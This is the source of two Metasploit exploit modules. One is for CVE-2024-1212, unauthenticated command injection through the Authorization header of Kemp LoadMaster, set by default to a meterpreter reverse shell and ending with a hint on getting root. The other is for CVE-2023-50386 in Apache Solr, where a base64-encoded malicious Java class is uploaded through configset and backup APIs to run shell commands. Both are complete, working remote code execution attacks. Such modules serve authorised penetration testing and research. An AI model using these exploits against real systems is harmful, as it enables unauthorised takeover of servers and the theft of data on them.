<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> include Msf::Exploit::Remote::HttpClient<br /> prepend Msf::Exploit::Remote::AutoCheck<br /> def flag_file<br /> return @flag_file unless @flag_file.nil?<br /><br /> @flag_file = '/tmp/' + Rex::Text.rand_text_alpha(5)<br /> end<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Kemp LoadMaster Unauthenticated Command Injection',<br /> 'Description' => %q{<br /> This module exploits an unauthenticated command injection vulnerability in<br /> Progress Kemp LoadMaster in the authorization header after vversion 7.2.48.1.<br /> The following versions are patched: 7.2.59.2 (GA), 7.2.54.8 (LTSF) and<br /> 7.2.48.10 (LTS).<br /> },<br /> 'Author' => [<br /> 'Dave Yesland with Rhino Security Labs',<br /> ],<br /> 'License' => MSF_LICENSE,<br /> 'References' => [<br /> ['CVE', '2024-1212'],<br /> ['URL', 'https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/'],<br /> ['URL', 'https://kemptechnologies.com/kemp-load-balancers']<br /> ],<br /> 'DisclosureDate' => '2024-03-19',<br /> 'Notes' => {<br /> 'Stability' => [ CRASH_SAFE ],<br /> 'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],<br /> 'Reliability' => [ REPEATABLE_SESSION ]<br /> },<br /> 'Platform' => ['unix', 'linux'],<br /> 'Arch' => [ARCH_CMD],<br /> 'Privileged' => false,<br /> 'Targets' => [<br /> [<br /> 'Automatic', # Add logic to run the payload only once<br /> {<br /> 'Payload' => {<br /> 'Prepend' => "[ -f #{flag_file} ] || ( touch #{flag_file}; (sleep 60; rm #{flag_file})& ",<br /> 'Append' => ')',<br /> 'BadChars' => "\x3a\x27"<br /> }<br /> }<br /> ],<br /> [<br /> 'Do_Not_Prepend_Runonce_Code', # This will likely result in 2-3 sessions<br /> {<br /> 'Payload' => {<br /> 'BadChars' => "\x3a\x27"<br /> }<br /> }<br /> ]<br /> ],<br /> 'Default_target' => 0,<br /> 'DefaultOptions' => {<br /> 'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',<br /> 'FETCH_WRITABLE_DIR' => '/tmp/',<br /> 'SSL' => true,<br /> 'RPORT' => 443<br /> }<br /> )<br /> )<br /><br /> register_options([<br /> OptString.new('TARGETURI', [true, 'The URI path to LoadMaster', '/'])<br /> ])<br /> end<br /><br /> def exploit<br /> uri = normalize_uri(target_uri.path, 'access', 'set')<br /><br /> vprint_status('Sending payload...')<br /><br /> send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => uri,<br /> 'vars_get' =><br /> {<br /> 'param' => 'enableapi',<br /> 'value' => '1'<br /> },<br /> 'authorization' => basic_auth("';#{payload.encoded};echo '", Rex::Text.rand_text_alpha(rand(8..15))),<br /> 'verify' => false<br /> })<br /> end<br /><br /> def on_new_session(client)<br /> super<br /> print_good('Now background this session with "bg" and then run "resource run_progress_kemp_loadmaster_sudo_priv_esc_2024.rc" to get a root shell')<br /> end<br /><br /> def check<br /> print_status("Checking if #{peer} is vulnerable...")<br /><br /> uri = normalize_uri(target_uri.path, 'access', 'set')<br /><br /> res = send_request_cgi({<br /> 'method' => 'GET',<br /> 'uri' => uri,<br /> 'vars_get' => {<br /> 'param' => 'enableapi',<br /> 'value' => '1'<br /> },<br /> 'authorization' => basic_auth("'", Rex::Text.rand_text_alpha(rand(8..15))),<br /> 'verify' => false<br /> })<br /><br /> # No response from server<br /> unless res<br /> return CheckCode::Unknown<br /> end<br /><br /> # Check for specific error pattern in headers or body to confirm vulnerability<br /> if res.headers.to_s.include?('unexpected EOF while looking for matching') || res.body.include?('unexpected EOF while looking for matching')<br /> return CheckCode::Vulnerable<br /> else<br /> return CheckCode::Safe<br /> end<br /> end<br /><br />end<br /></code></pre>
<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ExcellentRanking<br /><br /> prepend Msf::Exploit::Remote::AutoCheck<br /> include Msf::Exploit::Java<br /> include Msf::Exploit::Remote::HttpClient<br /> include Msf::Exploit::Remote::HTTP::ApacheSolr<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Apache Solr Backup/Restore APIs RCE',<br /> 'Description' => %q{<br /> Apache Solr from 6.0.0 through 8.11.2, from 9.0.0 before 9.4.1 is affected by an Unrestricted Upload of File<br /> with Dangerous Type vulnerability which can result in remote code execution in the context of the user running<br /> Apache Solr. When Apache Solr creates a Collection, it will use a specific directory as the classpath and load<br /> some classes from it. The backup function of the Collection can export malicious class files uploaded by<br /> attackers to the directory, allowing Solr to load custom classes and create arbitrary Java code. Execution<br /> can further bypass the Java sandbox configured by Solr, ultimately causing arbitrary command execution.<br /> },<br /> 'Author' => [<br /> 'l3yx', # discovery<br /> 'jheysel-r7' # module<br /> ],<br /> 'References' => [<br /> [ 'URL', 'https://xz.aliyun.com/t/13637?time__1311=mqmxnQ0QiQi%3DDtKDsD7md0%3DnxeqjghDMxTD'],<br /> [ 'URL', 'https://github.com/rapid7/metasploit-framework/issues/18919'],<br /> [ 'URL', 'https://github.com/vvmdx/Apache-Solr-RCE_CVE-2023-50386_POC'],<br /> [ 'CVE', '2023-50386']<br /> ],<br /> 'License' => MSF_LICENSE,<br /> 'Platform' => %w[unix linux],<br /> 'Privileged' => false,<br /> 'Arch' => [ ARCH_CMD ],<br /> 'Targets' => [<br /> [<br /> 'Unix Command',<br /> {<br /> 'Platform' => %w[unix linux],<br /> 'Arch' => ARCH_CMD<br /> }<br /> ]<br /> ],<br /> 'Payload' => {<br /> 'BadChars' => "\x20"<br /> },<br /> 'DefaultTarget' => 0,<br /> 'DefaultOptions' => {<br /> 'FETCH_WRITABLE_DIR' => '/tmp/'<br /> },<br /> 'DisclosureDate' => '2024-02-24',<br /> 'Notes' => {<br /> 'Stability' => [ CRASH_SAFE, ],<br /> 'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES],<br /> 'Reliability' => [ REPEATABLE_SESSION, ]<br /> }<br /> )<br /> )<br /><br /> register_options(<br /> [<br /> Opt::RPORT(8983),<br /> OptString.new('USERNAME', [false, 'Solr username', 'solr']),<br /> OptString.new('PASSWORD', [false, 'Solr password']),<br /> OptString.new('TARGETURI', [false, 'Path to Solr', 'solr']),<br /> ]<br /> )<br /> end<br /><br /> # If authentication is used<br /> @auth_string = ''<br /><br /> def check<br /> print_status('Running check method')<br /> auth_res = solr_check_auth<br /> unless auth_res<br /> return CheckCode::Unknown('Authentication failed!')<br /> end<br /><br /> # convert to JSON<br /> ver_json = auth_res.get_json_document<br /> # get Solr version<br /> solr_version = Rex::Version.new(ver_json['lucene']['solr-spec-version'])<br /> print_status("Found Apache Solr #{solr_version}")<br /> # get OS version details<br /> @target_platform = ver_json['system']['name']<br /> target_arch = ver_json['system']['arch']<br /> target_osver = ver_json['system']['version']<br /> print_status("OS version is #{@target_platform} #{target_arch} #{target_osver}")<br /><br /> unless solr_version.between?(Rex::Version.new('6.0.0'), Rex::Version.new('8.11.2')) ||<br /> solr_version.between?(Rex::Version.new('9.0.0'), Rex::Version.new('9.4.0'))<br /> return CheckCode::Safe('Running version of Solr is not vulnerable!')<br /> end<br /><br /> CheckCode::Appears("Found Apache Solr version: #{ver_json['lucene']['solr-spec-version']}")<br /> end<br /><br /> # This method returns the compiled byte code of the following class, SourceParser.java:<br /> #<br /> # package zk_backup_0.configs.confname;<br /> #<br /> # import sun.misc.Unsafe;<br /> # import java.io.BufferedReader;<br /> # import java.io.File;<br /> # import java.io.FileOutputStream;<br /> # import java.io.InputStreamReader;<br /> # import java.lang.reflect.Field;<br /> # import java.lang.reflect.Method;<br /> # import java.security.ProtectionDomain;<br /> # import java.util.Map;<br /> #<br /> #<br /> # public class SourceParser {<br /> #<br /> # static {<br /> # try {<br /> # Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");<br /> # unsafeField.setAccessible(true);<br /> # Unsafe unsafe = (Unsafe) unsafeField.get(null);<br /> # Module module = Object.class.getModule();<br /> # Class<?> currentClass = SourceParser.class;<br /> # long addr = unsafe.objectFieldOffset(Class.class.getDeclaredField("module"));<br /> # unsafe.getAndSetObject(currentClass, addr, module);<br /> #<br /> # String[] cmd = {"bash", "-c", "METASPLOIT_PAYLOAD" };<br /> # Class clz = Class.forName("java.lang.ProcessImpl");<br /> # Method method = clz.getDeclaredMethod("start", String[].class, Map.class, String.class, ProcessBuilder.Redirect[].class, boolean.class);<br /> # method.setAccessible(true);<br /> # Process process = (Process) method.invoke(clz, cmd, null, null, null, false);<br /> # } catch (Exception e) {<br /> # e.printStackTrace();<br /> # }<br /> # }<br /> # }<br /> def go_go_gadget(configuration1_name)<br /> gadget = ''<br /> gadget << 'yv66vgAAAD0AaQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClW'<br /> gadget << 'BwAIAQAPc3VuL21pc2MvVW5zYWZlCAAKAQAJdGhlVW5zYWZlCgAMAA0HAA4MAA8AEAEAD2phdmEv'<br /> gadget << 'bGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZh'<br /> gadget << 'L2xhbmcvcmVmbGVjdC9GaWVsZDsKABIAEwcAFAwAFQAWAQAXamF2YS9sYW5nL3JlZmxlY3QvRmll'<br /> gadget << 'bGQBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgoAEgAYDAAZABoBAANnZXQBACYoTGphdmEvbGFuZy9P'<br /> gadget << 'YmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwoADAAcDAAdAB4BAAlnZXRNb2R1bGUBABQoKUxqYXZh'<br /> gadget << 'L2xhbmcvTW9kdWxlOwcAIAEAKXprX2JhY2t1cF8wL2NvbmZpZ3MvY29uZm5hbWUvU291cmNlUGFy'<br /> gadget << 'c2VyCAAiAQAGbW9kdWxlCgAHACQMACUAJgEAEW9iamVjdEZpZWxkT2Zmc2V0AQAcKExqYXZhL2xh'<br /> gadget << 'bmcvcmVmbGVjdC9GaWVsZDspSgoABwAoDAApACoBAA9nZXRBbmRTZXRPYmplY3QBADkoTGphdmEv'<br /> gadget << 'bGFuZy9PYmplY3Q7SkxqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHACwBABBq'<br /> gadget << 'YXZhL2xhbmcvU3RyaW5nCAAuAQAEYmFzaAgAMAEAAi1jCAAyAQASTUVUQVNQTE9JVF9QQVlMT0FE'<br /> gadget << 'CAA0AQAVamF2YS5sYW5nLlByb2Nlc3NJbXBsCgAMADYMADcAOAEAB2Zvck5hbWUBACUoTGphdmEv'<br /> gadget << 'bGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7CAA6AQAFc3RhcnQHADwBABNbTGphdmEvbGFu'<br /> gadget << 'Zy9TdHJpbmc7BwA+AQANamF2YS91dGlsL01hcAcAQAEAJFtMamF2YS9sYW5nL1Byb2Nlc3NCdWls'<br /> gadget << 'ZGVyJFJlZGlyZWN0OwkAQgBDBwBEDABFAEYBABFqYXZhL2xhbmcvQm9vbGVhbgEABFRZUEUBABFM'<br /> gadget << 'amF2YS9sYW5nL0NsYXNzOwoADABIDABJAEoBABFnZXREZWNsYXJlZE1ldGhvZAEAQChMamF2YS9s'<br /> gadget << 'YW5nL1N0cmluZztbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZDsK'<br /> gadget << 'AEwAEwcATQEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAoAQgBPDABQAFEBAAd2YWx1ZU9mAQAW'<br /> gadget << 'KFopTGphdmEvbGFuZy9Cb29sZWFuOwoATABTDABUAFUBAAZpbnZva2UBADkoTGphdmEvbGFuZy9P'<br /> gadget << 'YmplY3Q7W0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsHAFcBABFqYXZhL2xh'<br /> gadget << 'bmcvUHJvY2VzcwcAWQEAE2phdmEvbGFuZy9FeGNlcHRpb24KAFgAWwwAXAAGAQAPcHJpbnRTdGFj'<br /> gadget << 'a1RyYWNlAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEACDxjbGluaXQ+AQANU3RhY2tNYXBUYWJs'<br /> gadget << 'ZQEAClNvdXJjZUZpbGUBABFTb3VyY2VQYXJzZXIuamF2YQEADElubmVyQ2xhc3NlcwcAZQEAIWph'<br /> gadget << 'dmEvbGFuZy9Qcm9jZXNzQnVpbGRlciRSZWRpcmVjdAcAZwEAGGphdmEvbGFuZy9Qcm9jZXNzQnVp'<br /> gadget << 'bGRlcgEACFJlZGlyZWN0ACEAHwACAAAAAAACAAEABQAGAAEAXQAAAB0AAQABAAAABSq3AAGxAAAA'<br /> gadget << 'AQBeAAAABgABAAAADgAIAF8ABgABAF0AAAEaAAYACgAAAK8SBxIJtgALSyoEtgARKgG2ABfAAAdM'<br /> gadget << 'EgK2ABtNEh9OKxIMEiG2AAu2ACM3BCstFgQstgAnVwa9ACtZAxItU1kEEi9TWQUSMVM6BhIzuAA1'<br /> gadget << 'OgcZBxI5CL0ADFkDEjtTWQQSPVNZBRIrU1kGEj9TWQeyAEFTtgBHOggZCAS2AEsZCBkHCL0AAlkD'<br /> gadget << 'GQZTWQQBU1kFAVNZBgFTWQcDuABOU7YAUsAAVjoJpwAISyq2AFqxAAEAAACmAKkAWAACAF4AAABC'<br /> gadget << 'ABAAAAASAAgAEwANABQAFgAVABwAFgAfABcALAAYADUAGgBKABsAUQAcAHgAHQB+AB4ApgAhAKkA'<br /> gadget << 'HwCqACAArgAiAGAAAAAJAAL3AKkHAFgEAAIAYQAAAAIAYgBjAAAACgABAGQAZgBoBAk='<br /> gadget = Rex::Text.decode_base64(gadget)<br /> # Replace 'confname' with our randomized 8 character configuration name<br /> gadget.sub!('confname', configuration1_name)<br /> # Replace the placeholder payload with our packed payload which is prefixed with it's size.<br /> gadget.sub!("\x00\x12METASPLOIT_PAYLOAD", packed_payload(payload.encoded))<br /> end<br /><br /> def packed_payload(pload)<br /> "#{[pload.length].pack('n')}#{pload}"<br /> end<br /><br /> def create_zip<br /> zip_file = Rex::Zip::Archive.new<br /> directory_to_zip = File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'conf')<br /><br /> Dir.glob(File.join(directory_to_zip, '**', '*')).each do |file_path|<br /> if File.file?(file_path)<br /> relative_path = file_path.sub("#{directory_to_zip}/", '') # Get relative path<br /> file_contents = File.read(file_path)<br /> zip_file.add_file(relative_path, file_contents)<br /> elsif File.directory?(file_path)<br /> relative_path = file_path.sub("#{directory_to_zip}/", '') # Get relative path<br /> zip_file.add_file(relative_path, nil, recursive: true)<br /> end<br /> end<br /><br /> zip_file<br /> end<br /><br /> def upload_conf(file_name, zip_archive, conf_name)<br /> mime = Rex::MIME::Message.new<br /> mime.add_part(zip_archive, 'application/octet-stream', 'binary', "form-data; filename=\"#{file_name}\"")<br /><br /> res = solr_post({<br /> 'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),<br /> 'method' => 'POST',<br /> 'ctype' => 'application/octet-stream',<br /> 'data' => zip_archive,<br /> 'auth' => @auth_string,<br /> 'vars_get' => {<br /> 'action' => 'UPLOAD',<br /> 'name' => conf_name<br /> }<br /> })<br /><br /> fail_with(Failure::UnexpectedReply, 'No response from the target') unless res<br /> fail_with(Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200<br /><br /> data = res.get_json_document<br /> if data.dig('responseHeader', 'status') == 0<br /> print_good('Uploaded configuration successfully')<br /> elsif data.dig('error', 'msg')<br /> fail_with(Failure::UnexpectedReply, "Failed to upload configuration. Target responded with error: #{data['error']['msg']}")<br /> else<br /> fail_with(Failure::UnexpectedReply, "Failed to upload configuration: #{conf_name} to the target")<br /> end<br /> res<br /> end<br /><br /> def create_collection(collection_name, configuration_name)<br /> solr_get({<br /> 'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),<br /> 'method' => 'GET',<br /> 'auth' => @auth_string,<br /> 'vars_get' => {<br /> 'action' => 'CREATE',<br /> 'name' => collection_name,<br /> 'numShards' => 1,<br /> 'replicationFactor' => 1,<br /> 'wt' => 'json',<br /> 'collection.configName' => configuration_name<br /> }<br /> })<br /> end<br /><br /> def backup_collection(collection_name, location, backup_name)<br /> res = solr_get({<br /> 'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),<br /> 'method' => 'GET',<br /> 'auth' => @auth_string,<br /> 'vars_get' => {<br /> 'action' => 'BACKUP',<br /> 'collection' => collection_name,<br /> 'location' => location,<br /> 'name' => backup_name<br /> }<br /> })<br /><br /> fail_with(Failure::UnexpectedReply, 'No response from the target') unless res<br /><br /> data = res.get_json_document<br /><br /> if data.dig('responseHeader', 'status') == 0<br /> print_good('Backed up collection successfully')<br /> elsif data.dig('error', 'msg')<br /> fail_with(Failure::UnexpectedReply, "Failed to Backup configuration. Target responded with error: #{data['error']['msg']}")<br /> else<br /> fail_with(Failure::UnexpectedReply, "Failed to create collection: #{collection_name} successfully")<br /> end<br /> res<br /> end<br /><br /> def cleanup<br /> print_status('Cleaning up...')<br /><br /> # Clean up collections and configurations<br /> # Delete the collection first then the configs or you'll get the following error:<br /> # "Can not delete ConfigSet as it is currently being used by collection [PchuSaNJ]"<br /> if @collection_res&.code == 200<br /> delete_collection_res = solr_get({<br /> 'uri' => normalize_uri(target_uri.path, 'admin', 'collections'),<br /> 'method' => 'GET',<br /> 'auth' => @auth_string,<br /> 'vars_get' => {<br /> 'action' => 'DELETE',<br /> 'name' => @collection1_name<br /> }<br /> })<br /> print_error("Unable to delete collection: #{@collection1_name}") unless delete_collection_res&.code == 200<br /> end<br /><br /> if @conf1_res&.code == 200<br /> delete_conf1_res = solr_get({<br /> 'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),<br /> 'method' => 'GET',<br /> 'auth' => @auth_string,<br /> 'vars_get' => {<br /> 'action' => 'DELETE',<br /> 'name' => @configuration1_name<br /> }<br /> })<br /> print_error("Unable to delete config: #{@configuration1_name}") unless delete_conf1_res&.code == 200<br /> end<br /><br /> if @conf2_res&.code == 200<br /> delete_conf2_res = solr_get({<br /> 'uri' => normalize_uri(target_uri.path, 'admin', 'configs'),<br /> 'method' => 'GET',<br /> 'auth' => @auth_string,<br /> 'vars_get' => {<br /> 'action' => 'DELETE',<br /> 'name' => @configuration2_name<br /> }<br /> })<br /> print_error("Unable to delete config: #{@configuration2_name}") unless delete_conf2_res&.code == 200<br /> end<br /> end<br /><br /> def exploit<br /> @collection1_name = Rex::Text.rand_text_alpha(8)<br /> @configuration1_name = Rex::Text.rand_text_alpha_lower(8)<br /> @collection2_name = Rex::Text.rand_text_alpha(8)<br /><br /> # Zip up conf1<br /> conf1_zip = create_zip<br /> conf1_zip.add_file('SourceParser.class', go_go_gadget(@configuration1_name))<br /> conf1_zip.add_file('solrconfig.xml', File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'solrconfig.xml')))<br /><br /> # Upload conf1<br /> @conf1_res = upload_conf(@configuration1_name + '.zip', conf1_zip.pack, @configuration1_name)<br /><br /> # Create collection from conf1<br /> @collection_res = create_collection(@collection1_name, @configuration1_name)<br /><br /> fail_with(Failure::UnexpectedReply, 'No response from the target') unless @collection_res<br /> data = @collection_res.get_json_document<br /> if @collection_res.code == 200 && data['responseHeader']['status'] == 0<br /> vprint_good('Created collection successfully')<br /> elsif data['error']['msg']<br /> fail_with(Failure::UnexpectedReply, "Failed to upload configuration. Target responded with error: #{data['error']['msg']}")<br /> else<br /> fail_with(Failure::UnexpectedReply, "Failed to create collection: #{collection_name} successfully")<br /> end<br /><br /> # Backup collection and export conf1<br /> location = '/var/solr/data/'<br /> backup_name = "#{@collection2_name}_shard1_replica_n1"<br /> backup_collection(@collection1_name, location, backup_name)<br /><br /> # Now you need to export it again through the backup and interface `collection1` note the changes in `location` and `name`:<br /> location = "/var/solr/data/#{backup_name}"<br /> backup_name = 'lib'<br /> backup_collection(@collection1_name, location, backup_name)<br /><br /> # Zip up conf2<br /> conf2_zip = create_zip<br /> editted_solrconfig = File.read(File.join(Msf::Config.data_directory, 'exploits', 'CVE-2023-50386', 'solrconfig.xml'))<br /> editted_solrconfig = editted_solrconfig.gsub('</config>', " <valueSourceParser name=\"myfunc\" class=\"zk_backup_0.configs.#{@configuration1_name}.SourceParser\" />\n</config>")<br /> conf2_zip.add_file('solrconfig.xml', editted_solrconfig)<br /><br /> # Upload conf2<br /> @configuration2_name = Rex::Text.rand_text_alpha(8)<br /> @conf2_res = upload_conf('conf2.zip', conf2_zip.pack, @configuration2_name)<br /><br /> # Attempt to create a collection from conf2 which will load the SourceParser.class we uploaded as a port of the<br /> # first conf1 which will then cause an error as it executes our malicious class (the collection does not get created)<br /> res = create_collection(@collection2_name, @configuration2_name)<br /><br /> fail_with(Failure::UnexpectedReply, 'No response from the target') unless res<br /> data = res&.get_json_document<br /> if res.code == 400 && data['error']['msg'] == "Underlying core creation failed while creating collection: #{@collection2_name}"<br /> print_good('Successfully dropped the payload')<br /> else<br /> fail_with(Failure::UnexpectedReply, "Failed to create collection: #{@configuration2_name} successfully")<br /> end<br /> end<br />end<br /></code></pre>